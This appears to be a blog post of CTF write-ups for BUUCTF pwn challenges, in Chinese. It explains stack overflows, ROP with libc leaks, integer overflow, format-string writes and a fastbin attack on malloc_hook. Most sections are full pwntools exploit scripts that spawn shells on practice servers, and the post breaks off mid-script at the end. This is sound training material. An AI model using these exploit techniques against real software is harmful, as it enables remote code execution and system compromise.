天天看点

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

2021-08-30 BUUCTF刷题记录

刷题数量:13

题目分类:栈溢出、堆、pwn基础

文章目录

  • 2021-08-30 BUUCTF刷题记录
    • [Black Watch 入群题]PWN
      • 0x00 题目描述
      • 0x01 分析思路
      • 0x02 EXP
    • ez_pz_hackover_2016
      • 0x00 题目描述
      • 0x01 题目分析
      • 0x02 思路
      • 0x03 EXP
    • jarvisoj_tell_me_something
      • 0x00 题目描述
      • 0x01 题目分析
      • 0x02 EXP
    • Jarvisoj_level3
      • 0x00 题目描述
      • 0x01 题目思路
      • 0x02 EXP
    • [HarekazeCTF2019]baby_rop2
      • 0x00 题目描述
      • 0x01 题目分析
      • 0x02 EXP
    • bjdctf_2020_babystack2
      • 0x00 题目描述
      • 0x01 题目分析
      • 0x02 EXP
    • jarvisoj_fm
      • 0x00 题目描述
      • 0x01 题目分析
      • 0x02 EXP
    • pwn2_sctf_2016
      • 0x00 题目描述
      • 0x01 题目分析
      • 0x02 Exp
    • 2019_OPPO_BabyROP
      • 0x00 题目描述
      • 0x01 题目分析
      • 0x02 Exp
    • babyheap_0ctf_2017
      • 0x00 题目描述
      • 0x01 程序分析
      • 0x02 EXP
    • bjdctf_2020_babyrop
      • 0x00 题目描述
      • 0x01 题目分析
      • 0x02 EXP
    • 铁人三项(第五赛区)2018_rop
      • 0x00 题目描述
      • 0x01 题目分析
      • 0x02 exp
    • ciscn_2019_c_1
      • 0x00 题目简介
      • 0x01 程序分析
      • 0x02 exp
    • 基础知识

[Black Watch 入群题]PWN

0x00 题目描述

Black Watch 入群题

PWN

0x01 分析思路

IDA拖进去看整体功能:

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

分析后,可以看到的漏洞

  1. 栈溢出(读入32字节存入24的数组,溢出8字节)

刚开始,我也疑惑,这8字节放payload空间不够呀,怎么办?

后面看了看前辈的wp,还利用了前面的.bss段,具体思路:

  1. 泄露libc
    1. 通过.bss段写入要运行的payload
    2. 通过8字节构造一个短payload运行.bss代码
  2. getshell
    1. one_gadget

这边涉及了一些前置知识:

leave;ret;

的gadget有什么用?

leave相当于汇编代码
mov rsp,rbp
pop rbp
           
相当于将当前栈顶指向了rbp的地址,然后弹出rbp一段代码为EIP(x64为8位)

如果我们把.bss地址设置为rbp,并且将payload写入.bss地址,运行这段代码

payload=b"a"*(0x18)#溢出
payload+=p32(s_addr-4)#rbp
payload+=p32(leave_ret)#ret地址
           

我们会先执行溢出修改的gadget

leave_ret

地址,然后rbp设置为s_addr-4

动态流程:

asm:

mov rsp,rbp
pop rbp
ret
           

rsp=rbp

EIP=rbp+4

(弹出一段4字节)的内存数据

ret (相当于 jmp EIP)

执行后,就相当于将程序返回(跳转)到了.bss的代码段,然后就执行写入.bss段的payload。

0x02 EXP

整体思路

  1. 写入payload到.bss
  2. leave

    特性将代码跳转到.bss段
    1. 泄露lib
    2. getshell

tips:

  1. 无法getshell试试
    1. 是不是libc的问题(本地与远程不一样)
    2. 换一种方式(system、其他gadget)
from pwn import *
context.log_level="debug"
#context.arch="i386"
name="/root/spwn"
p =remote("node4.buuoj.cn",25182)
elf=ELF(name)

main_addr=elf.sym['main']
read_got=elf.got["read"]
write_plt=elf.plt['write']
pause()
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#多试试 puts不行就write
p.sendafter(b'What is your name?',payload)



s_addr=0x0804A300

leave_ret=0x08048408 #: leave ; ret

payload=b"a"*(0x18)#24(buf)
payload+=p32(s_addr-4)
payload+=p32(leave_ret)

"""
leave=
mov rsp,rbp(rsp指向了.bss段)
pop rbp

pop eip(弹出的是.bss段的代码)
ret:
"""

#rop 正常
#payload+=p32(puts_plt)+p32(read_got)
p.sendafter(b'?',payload)#\n算1字节

leak=u32(p.recv(4))



libc=ELF("./x86/libc-2.23_buuctf.so")


libc_base=leak-libc.sym['read']

"""
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

"""
one_gadget=libc_base+0x3a80c


get=p32(one_gadget)+p32(main_addr)


p.sendafter(b"?",get)
p.sendafter(b"?",payload)

#p.sendlineafter(b'?',payload)
p.interactive()#W3lcAm3_t0_Bw
           

ez_pz_hackover_2016

0x00 题目描述

hackerover 2016

0x01 题目分析

IDA拖进去静态分析:

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

大概分析程序主要的逻辑

  1. strcmp

    比较我们输入的字符是否为

    crashme

  2. 将输入的字符传入

    vuln

    函数

此题没有后门,所以我们只能利用栈溢出之类的漏洞进行ROP泄露地址

在vuln可以看到如果我们数据大小大于50就可造成栈溢出,很明显调用时传入1024长度就是栈溢出了。

如何过strcmp的同时还传入payload?

这边有一个前置知识,strlen()会遇到

\x00

字符截断,但其他的输入函数不会

我们利用这个特性,可以过掉strcmp,随后后门构造栈溢出的rop传给vuln完成泄露libc、getshell

0x02 思路

整体思路:

  1. 泄露libc
  2. getshell

给广大初学者说的话:

  • CTF虽然有很多的基础知识理论,但大多需要自己亲自去手动尝试,具体情况具体分析(偏向手动实验),不能太执着于学到的理论知识,需要保持一颗开放的好奇心。最主要是多自己手动动态调试才知道每一步是怎么运行的。

0x03 EXP

from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/ez_pz_hackover_2016"
p =remote("node4.buuoj.cn",27260)
elf=ELF(name)
libc=ELF("./x86/libc-2.23_buuctf.so")
main_addr=elf.sym['main']
goodgame=0x0000000000400620

printf_plt=elf.plt["printf"]
ptf_got=elf.got["printf"]
main_addr=elf.sym['main']



payload=b"crashme\x00"#过strcmp
payload+=b"a"*18+p32(printf_plt)+p32(main_addr)+p32(ptf_got)
"""
\x00可越过 strlen、strcmp
具体 动态调试确定
"""


pause()
p.sendlineafter("> ",payload)

p.recvuntil("crashme")
p.recvuntil("\n")

recvraw=p.recv(4)
leak_addr=u32(recvraw)
print("leak_addr : {}".format(hex(leak_addr)))
libc_base=leak_addr-libc.sym['printf']
one_gadget=libc_base+0x3a80c


#one_gadget getshell
payload=b"crashme\x00"
payload+=b"a"*18+p32(one_gadget)+p32(main_addr)+b"\x00"*90
p.sendlineafter("> ",payload)
p.interactive()

           

jarvisoj_tell_me_something

0x00 题目描述

浙大OJ的tell_me_something

0x01 题目分析

IDA进去,静态分析:

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

那么假设的整体思路:

  1. 构造栈溢出返回到gg函数gg

0x02 EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/guestbook"
p =remote("node4.buuoj.cn",26720)
elf=ELF(name)
main_addr=elf.sym['main']
goodgame=0x0000000000400620
#main不用rbp??
payload=b"a"*(0x88)+p64(goodgame)+p64(main_addr)
pause()
p.sendlineafter(":\n",payload)
p.interactive()
           

Jarvisoj_level3

0x00 题目描述

[[Jarvisoj]]:浙大_OJ

level3

0x01 题目思路

拖进IDA

MAIN:

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

分析一下,很明显有

栈溢出

的漏洞

接下来,这类题的套路:

  1. 构造payload泄露libc地址
  2. getshell

0x02 EXP

整体思路

  1. 栈溢出泄露libc
  2. getshell

注意的点:

  • (x86)返回地址放call之后(参数前),程序会将下一个地址识别为返回地址(即ebp)
from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/level3"
p = remote("node4.buuoj.cn",29197)
libc=ELF("./x86/libc-2.23_buuctf.so")
#p=process(name)#

elf=ELF(name)

read_got=elf.got['read']
main_addr=elf.sym['main']
write_plt=elf.plt['write']


payload=b"a"*(0x88+4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#返回地址放call之后(参数前),程序会将下一个地址识别为返回地址(即ebp)
sleep(0.2)
p.sendlineafter(b"Input:\n",payload)#leak
sleep(0.2)


leak_addr=p.recv(4).ljust(4,b"\x00")

print("leak -> {}".format(leak_addr))#{} and format

libc_base=u32(leak_addr)-libc.sym['read']

"""
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

"""
one_gadget=libc_base+0x3a80c

payload=b"a"*(0x88+4)
payload+=p32(one_gadget)+p32(main_addr)
sleep(0.2)
p.sendlineafter(b"Input:\n",payload)#leak

p.interactive() 
#find / -name flag flag{fca3c3e6-b051-4ac1-8349-e2fa3a74412c}

           

[HarekazeCTF2019]baby_rop2

0x00 题目描述

rop rop rop

[HarekazeCTF2019]

0x01 题目分析

IDa拖进去看:

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

明显的栈溢出(读入了256到buf[28]的数组)

于是假设的思路:

  1. 泄露libc
  2. getshell

0x02 EXP

整体思路:

  1. 栈溢出泄露libc
  2. one_gadget获取shell

值得注意的:

  1. 要调试才能逐步慢慢确定,别着急,慢慢调
  2. 用print_plt再输出print_got输不出(多换换不同的函数试试 换一个read可以)
  3. 发送的payload进入程序,填充到rdi(虽然字符串显示是正常顺序,但是16进制是倒叙)小端序
  4. 找的one_gadget记得要修复它的条件(例如rsp+n为\x00)
  5. x86下,参数直接入栈即可。x64前6个参数需要进入指定的

    寄存器

    具体查阅资料。
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/babyrop2"
p = remote("node4.buuoj.cn",28737)
#p=process(name)#

elf=ELF(name)

read_got=elf.got['read']
main_addr=elf.sym['main']
printf_plt=elf.plt['printf']

#ret_to_callprintf_callee=0x0000000004006C0#call printf in main
pop_rdi_ret=0x0000000000400733##  : pop rdi ; ret
#pop_rsi_ret=0x0000000000400731##  : pop rsi ; pop r15 ; ret
#pause()

#ohh.. x64传参数要rdi。。动态调试才知道问题
#倒序推入rdi 必须填充满8位
#只能输出地址?如果是字符串要存入地址再传入rdi?

payload=b"a"*(0x20+8)
payload+=p64(pop_rdi_ret)+p64(read_got)#传参数  x64 rdi
#...用printf_got在远程无法输出,read_got可以,难道远程优化了printf??

payload+=p64(printf_plt)#puts lea
payload+=p64(main_addr)#rop

sleep(0.2)
p.sendlineafter(b"name? ",payload)#leak
sleep(0.2)
p.recvuntil("\n")

leak_addr=p.recv(6).ljust(8,b"\x00")
pause()
print("leak -> {}".format(leak_addr))#{} and format
libc=ELF("./x64/libc.so.6_buuctf")
libc_base=u64(leak_addr)-libc.sym['read']

one_gadget=libc_base+0x4526a

payload=b"a"*(0x20+8)
payload+=p64(one_gadget)#puts leak
payload+=p64(main_addr)#rop
payload+=b"\00"*90#padding repair onegadget 选择的one_gadget修复后面的rsp
p.sendlineafter(b"name? ",payload)#getshell

p.interactive() 
#find / -name flag 

           

bjdctf_2020_babystack2

0x00 题目描述

BJDCTF

BABYSTACK(栈)

0x01 题目分析

IDA

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

正常的逻辑:

  1. 输入要输入字符出长度(限制10)
  2. 输入数据到buf

结合题意,如何制造栈溢出呢?

(下面题目多次介绍了[[整数溢出]],pwn2_sctf_2016等)

正常逻辑,仅仅允许输入10长度的数据,那肯定是不够我们ROP的,但是注意一下变量类型是

unsigned int

(无符号整数)

无符号如果是负数,就是向上溢出(最大值开始减当前)

那么相当于我输入了-1,变量其实变成了(unsigned int最大值 +(-1))~约等于无限制输入

具体了解整数溢出可以去

CTFWiki

查阅相关基础资料

0x02 EXP

from pwn import *
p = remote("node4.buuoj.cn",27953)#process('/root/fm')
backdoor=0x000000000400726


p.sendlineafter(b"name:","-1")
payload = b"a"*(0x10+8)+p64(backdoor)
p.sendlineafter("name?",payload)



p.interactive()

           

jarvisoj_fm

0x00 题目描述

来自:jarvisoj

fm??(format字符串格式化)

0x01 题目分析

IDA

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

程序逻辑很简单

  1. 输入数据,用printf打印数据
  2. 判断x为4就getshell

那我们的思路主要就是通过printf修改x的值(字符串格式化漏洞)

先动态调试,测出字符串的变量地址偏移

→利用%p.%p.%p.%p.%p.%p.%p.,测出真实字符串地址存在第11个偏移位

前置知识:

  • %n

    可修改变量值

如何改4?x地址是已知固定的。并且偏移也测出是11

可以利用

%11$n

=>作用:修改偏移11的变量地址数据为当前字符串前面字符个数

payload = p32(x_addr) + b'%11$n'

x的地址刚好是4,那么刚好把x的地址数据内容改成了

\x04

如果在

%

号前加填充aa 会把x改为6(其实就是改x为

%

前字符串长度)

0x02 EXP

from pwn import *
p = process('/root/fm')
x_addr = 0x0804A02C

payload = p32(x_addr) + b'%11$n'
pause()
p.sendline(payload)

p.interactive()
           

pwn2_sctf_2016

0x00 题目描述

pwn2_sctf_2016

来自 SCTF

0x01 题目分析

先拖进IDA,静态分析一下程序的大局功能

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

基本逻辑

  1. 输入要读取的字符长度(限制32)
  2. 读入数据

看到这里,似乎也不存在什么栈溢出???于是乎

我看到了有

dothing

这个函数

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

以为是通过这个函数来做点事??

后面仔细分析了一下,点进

get_n

进去看你会发现惊喜~~

get_n:

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

a1是输入的数据

a2是长度(但是是无符号的)

这边有一个前置知识

  • 如果无符号的整数赋值为负数,他会造成[[整数溢出]](简单来说值会变成:变量类型最大值-负数的正数位)

那???如果我输入

-1

(满足不大于32)

无符号值:0到4294967295(0 到232 - 1)4个字节

岂不是a2=4294967295-1=4294967294(几乎是无限制输入)

接下来,就可以干大事了,栈溢出构造payload去泄露libc、getshell…

0x02 Exp

整体思路:

  1. 整数溢出导致栈溢出rop
    1. 泄露libc
    2. getshell

注意的点:

  • 在修复返回栈中(ebp)用函数首部地址 避开破坏栈导致崩溃

    main_addr=elf.sym[“main”]#很重要,修复的ebp返回地址关乎程序是否崩溃

    #使用返回到main (就是main开始地址)

  • 若LIBCSEARCH不行 转本地(要怪就怪libcsearcher蛤~),你可以在BUUCTF官网下载对应的glibc
#coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level="debug"
context.arch="i386"

isLocal=0

filename="/root/pwn2_sctf_2016"
if  isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",29781)


elf=ELF(filename)
p.sendline("-1")#overflow unsigned int

p.recvuntil("data!\n")
sleep(0.2)



printf_plt=elf.plt["printf"]
printf_got=elf.got["printf"]

main_addr=elf.sym["main"]#很重要,修复的ebp返回地址关乎程序是否崩溃
#使用返回到main (就是main开始地址)

payload=b"a"*(0x2C+4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)


sleep(0.2)
p.sendline(payload)
p.recvuntil("\n")#\n=\x0a
leak=u32(p.recv(4))
print(b"leak:"+str(leak).encode())
libc=LibcSearcher("printf",leak)

##  LIBC SEARCHER 如果搜索不到,就手动下载libc
libcbase=leak-libc.dump("printf")
system_add=libcbase+libc.dump("system")
binsh_add=libcbase+libc.dump("str_bin_sh")
payload=b"a"*(0x2C+4)+p32(system_add)+p32(main_addr)+p32(binsh_add)#

#返回到程序首部 修复堆栈
p.sendline("-1")
p.recvuntil("data!\n")
p.sendline(payload)
p.interactive()

##  LOCAL LIBC 办法2:使用本地libc
libc=ELF("./x86/libc-2.23_buuctf.so")
libc_base=leak-libc.sym['atoi']
one_gadget=libc_base+0x3a80e 
payload=b"a"*(0x2C+4)+p32(main_addr)+p32(one_gadget)+b"\x00"*80#

#返回到程序首部 修复堆栈
p.sendline("-1")
p.recvuntil("data!\n")
p.send(payload)
p.interactive()


#tips:fix ebp ret
#p32(0)+
#ubuntu 16:libc2.23
           

2019_OPPO_BabyROP

0x00 题目描述

2019_OPPO_BabyROP

OPPO厂出的题目

0x01 题目分析

拖进IDA

分析一下程序的整体功能

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

整体功能:

  1. 分配一个随机数,函数1主要为了验证随机数是否与输入的匹配
  2. 函数2,根据函数1返回值作为读入的长度去读取数据

分析一下漏洞:

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

针对函数1的随机数绕过方法:

  • strlen对

    \x00

    会截断,可利用此特性绕过比较
    2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

函数2只要参数不为127就可以自定义长度,我们可以输入一个大于buf长度的数据,制造

栈溢出

由于参数是函数1返回的,是buf的第七位(单字节),那么可以输入

\xff

(255)最大值

想说给初学者的话:

  • 很多东西,虽然似乎是模板的东西,但是具体的路,要自己亲自去走,才知道有什么困难要自己面对,如何对待的。(多动态调试,不要被前方的自我想象阻碍)

0x02 Exp

整体思路:

  1. \x00

    绕过随机数判断,制造溢出字符
  2. 构造溢出payload
    1. 泄露libc
    2. onegadget

注意的点:

  • 修复ebp(返回地址)蛮重要的,不然会崩溃
  • 远程搜索不到libc、本地 可以利用本地特征去搜索一样的libc,另外一种情况,只好下载题目的Libc
  • one gadget要求 esp+0x28=null,需要填充后面的esp为\x00
#coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level="debug"
context.arch="i386"

isLocal=0

filename="/root/2019_OPPO_BABYROP"
if  isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",29007)

elf=ELF(filename)
p.sendline("\x00123456\xff")#
#strlen \x00 截断

p.recvuntil("Correct\n")
sleep(0.2)


ret_startfunc=0x080487D0 #rop func start
write_plt=elf.plt['write']
read_got=elf.got['read']

payload=b"a"*(0xe7+4)+ p32(write_plt) +p32(ret_startfunc) +  p32(1) + p32(read_got) + p32(4)
#修复调用write后的ebp(即返回地址)=rop程序开头(重新调用)
p.send(payload)




leakaddr=p.recv(4)
read_addr=u32(leakaddr)
print(b"leak:"+str(read_addr).encode())


#远程搜索不到libc、本地 可以利用本地特征去搜索一样的libc,另外一种情况,只好下载题目的Libc
libcx =ELF("./x86/libc-2.23_rop.so")##  LibcSearcher('read', read_addr)
#payload=b"a"*0xe7+p32(0)+p32(one_gadget)+b"\x00"*(300-231-8)
#p.sendline(payload)

#elf加载 用 sym[],libcsearch用dump
libc_base=read_addr-libcx.sym['read']
#system_addr=libc_base+libcx.sym["system"]
#binsh_addr=libc_base+libcx.sym["str_bin_sh"]
one_gadget=libc_base+0x3a80c
payload=payload=b"a"*(0xe7+4)+ p32(one_gadget)  +b"\x00"*555
#修复调用write后的ebp(即返回地址)=rop程序开头(重新调用)
#one gadget要求 esp+0x28=null,需要填充后面的esp为\x00
p.send(payload)


p.interactive()

#ubuntu 16:libc2.23

"""

[email protected]:~/exp/buuctf/x86##  one_gadget libc-2.23_rop.so
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libcls
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL


"""
           

babyheap_0ctf_2017

0x00 题目描述

堆题目含增、删、改、查

0CTF

0x01 程序分析

拖进IDA看个整体大概

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

很明显会发现是一个功能齐全的堆题目

  1. 增加(创建堆)
  2. 修改(修改堆内容)
  3. 删除(释放堆)
  4. 查询(输出堆内容)

同时,堆的总内存布局是程序在一个

sub_B70

的函数进行随机去分配的地址

每调用一个功能函数,都会传入总堆存放的地址。

生成所有堆存放地址:

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

接下来就是重头戏了,程序该如何拿shell呢?

我们一般getshell的思路就是泄露地址,得到libc地址,然后构造一个payload去getshell。

那能不能这样呢?

我们仔细看看程序的功能:

  1. 增加
  • 这边有一个

    calloc

    对于初学堆者会比较陌生,它相较于

    malloc

    在于分配指定空间的堆后,会将堆上的数据每个字节赋值为

    \x00

    [[calloc]]
    2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录
  1. 修改
    2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

细心的朋友可以发现,这边就有了漏洞

我们修改堆内容,长度是自己输入,并且不做任何限制,那就会造成堆的溢出。

3. 删除

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录
  1. 查询
    2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

保护情况:全开

[email protected]:/##  checksec --file="/root/babyheap_0ctf_2017"
[*] '/root/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

           

这道题我也思考、尝试了很久,最后看了一下前辈们的wp,解法大概的整体思路:

  1. 通过堆溢出制造[[堆叠]],随后利用堆叠可输出堆的系统header,利用释放间隙header产生的

    unsorted bin

    地址作为泄露的地址
  2. 通过堆溢出修改新堆块的指针为任意指针,控制

    __malloc_hook

    地址的数据完成getshell(这是一种叫

    Fast bin Attack

    的攻击)

前置知识、疑问:

  1. 什么是堆叠?

就是相邻的堆重叠。举个例子

例如我申请了堆1为0x80大小的堆,堆2为0x80大小的堆。随后我通过堆溢出将堆2的用户不可控制位(系统头部)修改了造成了堆1的堆标记空间大小增大,这样一旦输出堆1的数据,会连着堆2的系统头部甚至是堆2的用户数据连带输出。

有什么用?欺骗了程序,控制系统堆的管理

  1. 什么是

    unsorted bin

堆释放了之后,系统会将其加入指定的bin

在任意small bin/ large bin 被释放后加入small bin/large bin 前会先进入unsorted bin

(small bin在64位下最小(2x8x2=32字节),否则会识别为fast bin)

进入了unsorted bin,堆header会被系统修改为 unsorted bin 地址

  1. unsorted bin

    有什么用?
在unsorted bin的指定偏移处,是__malloc_hook的数据地址
  1. __malloc_hook

    是什么?

如果__malloc_hook的数据地址不为空,系统在分配堆时(也就是用户调用malloc、calloc之类函数分配堆时),会将调用的函数指向__malloc_hook内存放的地址

在本题,如果一旦我们把 __malloc_hook 修改成getshell的地址,那我们再次调用calloc时,就间接调用了 getshell 地址

  1. 什么是

    Fast bin attack

    ?[[FastAttackBin]]

更深入的原理大家可以在网上搜索资料或者下载glibc代码进行查看

glibc 代码定义了默认fast bin 的大小为128(0x80)(32位的为64)

Fastbin采用单链表结构(通过fd指针连接),且当chunk释放时,不会清空 next_chunk 的 prev_inuse,再加上检查机制的不完善,导致 fastbin 比较脆弱。

攻击方法:

  1. 二次释放
  2. 修改fd指针并申请(或释放)任意位置的 chunk (或 fake chunk)在堆溢出的情况下

基础gdb命令:

heap

可查看当前堆块信息

libc

查看libc基地址

magic

查看libc函数偏移

par

parseheap

简写

x/4g

查看64位下(8位)2行,4 * 8=32字节

vmmap (heap)

查看程序内存结构(堆结构)地址

bins

命令可查看unsorted bin地址,他会指向

main_arena

地址。再往前移动0x10就是

__mallochook

地址

0x02 EXP

整体思路分为两部分

  1. 泄露unsorted_bin地址(通过堆溢出导致堆叠),根据前置知识用unsorted_bin计算mallochook地址
  2. 通过堆溢出(改fd)使堆块地址被任意改写为malloc_hook指针,修改堆块数据为one_gadget完成getshell(FAST BIN ATTACK)

功能定义:

#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.terminal = ['tmux','splitw','-h']#cmd : tmux
isLocal=0

filename="/root/babyheap_0ctf_2017"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",27211)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(size):
    ru("Command: ")
    sl('1')
    ru("Size: ")
    sl(str(size))

def free(index):
    ru("Command: ")
    sl('3')
    ru("Index: ")
    sl(str(index))

def edit(index,size,content):
    ru("Command: ")
    sl('2')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
    ru("Content: ")
    sl(content)
def dump(index):
    ru("Command: ")
    sl('4')
    ru("Index: ")
    sl(str(index))
	
           

第一部分内存结构图:

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

第一部分

1.用堆溢出制造堆叠(overlap),导致堆1与堆2重叠(包含了系统的头部)

2.利用堆叠和程序输出功能,输出unsorted bins 地址(在堆2的header部分)

malloc(0x80)
malloc(0x80)
malloc(0x80)
malloc(0x80)

free(1)


payload=b'a'*0x88+p64(0x121)
edit(0,len(payload),payload)#堆溢出 修改了堆1的 系统size区域
malloc(0x110)#重新申请0x110 申请回chunk1=0x110

"""
1.先主动释放,再通过堆溢出又把chunk1改回`USED`了并且`扩大了控制区域`
2.接下来堆溢出,导致改chunk1可以直接修改chunk2、3(跨越、包含系统的头部)
#0x80=128 | 0x110=288 
"""

#pause()#此时还没产生unsorted bins

payload=b'a'*0x88#堆溢出到下一块系统区域
payload+=p64(0x91)#堆溢出将chunk2改回了0x80(系统占用0x10+使用标志位0x01)
edit(1,len(payload),payload)

#当期整体堆:chunk0=0x80,chunk1=0x110,chunk2=0x80
#pause()#此时还没unsorted bins
free(2)#free 2  ,
#pause()#此时chunk2头部有unsorted bin地址了,可通过gdb的bins查看
dump(1)##  输出chunk1的堆数据,由于堆溢出修改了堆的大小,导致连带chunk2的头部一起输出


           

第二部分

3.利用泄漏的地址unsorted bins去偏移找到__malloc_hook地址,改写成gadget地址以getshell

leak_addr=p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")

malloc_hook=u64(leak_addr)-88-0x10#main_arena-0x10

print("format leak_unsorted_bins ==> {}".format((leak_addr)))



"""
unsortedbin
all: 0x56441ebf0120 —▸ 0x7f1abfd36b78 (main_arena+88) ◂— 0x56441ebf0120
"""

libc_base=malloc_hook-libc.symbols['__malloc_hook']
log.success("libc_base -> {}".format(hex(libc_base)))

#篡改malloc_hook实现shell(fast bin attack)=>修改堆块的fd

malloc(0x80) ##  重新申请回chunk2
malloc(0x60) ##  新堆chunk4
malloc(0x60) ##  新堆chunk5
free(5)##  free 5


payload=b'a'*0x68 +p64(0x71)+p64(malloc_hook-0x23)
edit(4,len(payload),payload)#溢出写。将chunk5->fd改写为自定义地址

"""
利用堆溢出,chunk5使fd指向  malloc_hook

此时内存布局:

pwndbg> par
addr                prev                size                 status              fd                bk                
0x561e9e2dd000      0x0                 0x90                 Used                None              None
0x561e9e2dd090      0x6161616161616161  0x120                Used                None              None
0x561e9e2dd1b0      0x0                 0x90                 Used                None              None
0x561e9e2dd240      0x0                 0x70                 Used                None              None
0x561e9e2dd2b0      0x6161616161616161  0x70                 Freed     0x7f379b513aed              None

导致下一次申请chunk6时,地址被任意写
"""




malloc(0x60) #重新申请回chunk5
malloc(0x60) #新堆chunk6


"""
由于chunk5->fd指向自定义地址,chunk6申请时,chunk6地址被任意改写为自定义地址
chunk6的地址也就是__malloc_hook的地址了,修改chunk6相当于间接控制__malloc_hook地址的数据内容,控制程序的malloc函数调用
"""

if isLocal:
    one_gadget=libc_base+0x4527a
else:
    one_gadget=libc_base+0x4526a
payload=b'a'*0x13+p64(one_gadget)
edit(6,len(payload),payload)#更改malloc_hook的地址为One_gadget
"""
(0x10要给系统作为头部,0x13是偏移)
0x7f379b513b10 - 0x7f379b513aed=0x23-header=0x10

pwndbg> x/30g 0x7f379b513aed+0x23
0x7f379b513b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000

使用gdb查看 被改写
pwndbg> x/4gx 0x7fadcded1b20-0x10 
0x7fadcded1b10 <__malloc_hook>:	0x00007fadcdb5227a	0x0000000000000000
0x7fadcded1b20 <main_arena>:	0x0000000000000000	0x0000000000000000


"""

malloc(0x10)#_malloc_hook
p.interactive()


           

bjdctf_2020_babyrop

0x00 题目描述

bjdctf_2020_babyrop

Ubuntu 16

0x01 题目分析

拖进IDA,

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

于是设想的整体思路

  1. 泄露libc
  2. getshell
  • 在CTF中,设想终究是设限,干,动态调试才知道真正每一步该如何走。

0x02 EXP

EXP前置知识

  1. LD_PRELOAD

    的键值设置为本地libc地址,可自定义程序启动的libc版本
  2. one_gadget 获取程序段内的gadget片段地址
  3. 小端序在接收后,如果需要填充指定位,\x00在字节尾部填充
    1. 如果是x64(仅仅接收了6字节小端序,作填充:

      \xx\xx\xx\xx\xx\x7f\x00\x00

整体思路:

  1. 通过栈溢出构造输出泄露libc地址
  2. 用Libsearcher查找具体libc的版本,然后重新构造ROP栈溢出使程序调用libc内的system以getshell
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.arch="amd64"

isLocal=0

